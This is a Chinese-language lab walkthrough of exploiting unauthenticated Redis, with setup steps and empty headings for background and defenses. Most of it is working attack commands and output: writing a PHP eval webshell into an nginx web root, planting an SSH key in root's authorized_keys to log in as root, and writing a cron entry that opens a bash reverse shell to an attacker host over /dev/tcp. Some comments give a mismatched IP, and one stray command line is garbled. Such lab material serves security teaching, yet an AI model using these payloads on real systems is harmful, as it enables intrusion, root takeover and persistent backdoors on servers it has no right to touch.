redis未授权访问漏洞复现（包括环境搭建）

1.1 漏洞简介

1.2 产生条件

1.3 漏洞危害

yum -y install gcc* tcl tcl-devel
yum -y install make

wget http://download.redis.io/releases/redis-6.2.4.tar.gz

tar xzf redis-6.2.4.tar.gz
cd redis-6.2.4/src
make
make install PREFIX=/usr/local/redis

安装完成后，在/usr/local/bin下面可以看到redis提供的5个命令工具，现简单介绍如下


redis-server：Redis服务器的daemon启动程序
redis-cli：Redis命令行操作工具。也可以用telnet根据其纯文本协议来操作
redis-benchmark：Redis性能测试工具，测试Redis在当前系统下的读写性能
redis-check-aof：数据修复
redis-check-dump：检查导出工具

cp redis.conf /etc
vim /etc/redis.conf

#bind 127.0.0.1
protected-mode no
daemonize no

/usr/local/redis/bin/redis-server /etc/redis.conf

echo "/usr/local/bin/redis-server /etc/redis.conf " >> /etc/rc.local

redis-cli shutdown

(error) DENIED Redis is running in protected mode because protected mode is enabled, no bind address was specified, no authentication password is requested to clients. In this mode connections are only accepted from the lookback interface. If you want to connect from external computers to Redis you may adopt one of the following solutions: 1) Just disable protected mode sending the command 'CONFIG SET protected-mode no' from the loopback interface by connecting to Redis from the same host the server is running, however MAKE SURE Redis is not publicly accessible from internet if you do so. Use CONFIG REWRITE to make this change permanent. 2) Alternatively you can just disable the protected mode by editing the Redis configuration file, and setting the protected mode option to 'no', and then restarting the server. 3) If you started the server manually just for testing, restart it with the --portected-mode no option. 4) Setup a bind address or an authentication password. NOTE: You only need to do one of the above things in order for the server to start accepting connections from the outside.

redis-cli -h 192.168.101.201 -p6379

┌──(root㉿kali)-[~]
└─# redis-cli -h 192.168.101.201 -p 6379
192.168.101.201:6379> CONFIG SET dir /usr/share/nginx/html/
OK
192.168.101.201:6379> CONFIG SET dbfilename redis.php
OK
192.168.101.201:6379> SEt x "<?php @eval($_POST[cc]);?>"
OK
192.168.101.201:6379> save
ok
192.168.101.201:6379>          
                

┌──(root?kali)-[~]
└─# ssh-keygen -t rsa       
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa): 
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /root/.ssh/id_rsa
Your public key has been saved in /root/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:UgzhkW5gHV1pcx/k4SbgkgEHNr452PITGkjjsqWje9M root@kali
The key's randomart image is:
+---[RSA 3072]----+
|     .XBo.o. .o  |
|    o+o*.++..o.. |
|  o. oo =..o..+. |
| o o oo+ .   o.  |
|. + +.B S        |
| =   = +         |
|+  .. o          |
|..o E  .         |
|oo .             |
+----[SHA256]-----+

┌──(root?kali)-[~/.ssh]
└─#  (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > test.txt
                                                                                         
┌──(root?kali)-[~/.ssh]
└─#

┌──(root㉿kali)-[~/.ssh]
└─# cat test.txt |  redis-cli -h 192.168.101.201 -x set crack
OK
                                                                                         
┌──(root㉿kali)-[~/.ssh] set x "\n\ id_rsa.pub \n\n"

┌──(root㉿kali)-[~/.ssh]
└─# redis-cli -h 192.168.101.201                             
192.168.101.201:6379> CONFIG GET dir   
1) "dir"
2) "/root/redis-5.0.7/src"
192.168.101.201:6379> CONFIG SET dir /root/.ssh/   ##设置上传公钥的备份文件名字为authorized_keys
OK
192.168.101.201:6379> config get dir    #更改redis备份路径为ssh公钥存放目录（一般默认为/root/.ssh）
1) "dir"
2) "/root/.ssh"
192.168.101.201:6379> CONFIG SET dbfilename "authorized_keys"  ##检查是否更改成功（查看有没有文件），没有问题就保存退出
OK
192.168.101.201:6379> CONFIG GET dbfilename   
1) "dbfilename"
2) "authorized_keys"
192.168.101.201:6379> save
OK
192.168.101.201:6379> quit
                                                                                         
┌──(root㉿kali)-[~/.ssh]
└─# 

┌──(root㉿kali)-[~/.ssh]
└─# ssh -i id_rsa root@192.168.101.201
Last login: Sun Jul 31 22:08:53 2022 from 192.168.101.200
[root@note01 ~]# ifconfig
ens33: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.101.201  netmask 255.255.255.0  broadcast 192.168.101.255
        inet6 fe80::79e6:5a08:a97e:4289  prefixlen 64  scopeid 0x20<link>
        ether 00:0c:29:f5:2e:84  txqueuelen 1000  (Ethernet)
        RX packets 585052  bytes 81930730 (78.1 MiB)
        RX errors 0  dropped 425  overruns 0  frame 0
        TX packets 22221  bytes 2240472 (2.1 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 331  bytes 177585 (173.4 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 331  bytes 177585 (173.4 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

[root@note01 ~]# 

┌──(root㉿kali)-[~]
└─# nc -lvnp 4444
listening on [any] 4444 ...

┌──(root㉿kali)-[~/.ssh]
└─# redis-cli -h 192.168.101.201
192.168.101.201:6379> set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.101.200/4444 0>&1\n\n"  #意思是每隔一分钟，向192.168.1.4的4444端口反弹shell
OK
192.168.101.201:6379> CONFIG SET dir /var/spool/cron/   #设置工作目录
OK
192.168.101.201:6379> CONFIG SET dbfilename root  #设置文件名，当前用户叫啥就得命名为啥，当前用户为root
OK
192.168.101.201:6379> save   #保存
OK
192.168.101.201:6379> 



＃上面这几行命令的意思就是将 "\\n\\n*/1 * * * * * /bin/bash -i>&/dev/tcp/192.168.1.4/4444 0>&1\\n\\n" 这条命令写入test文件中，并且存放在/var/spool/cron目录下

七、防御措施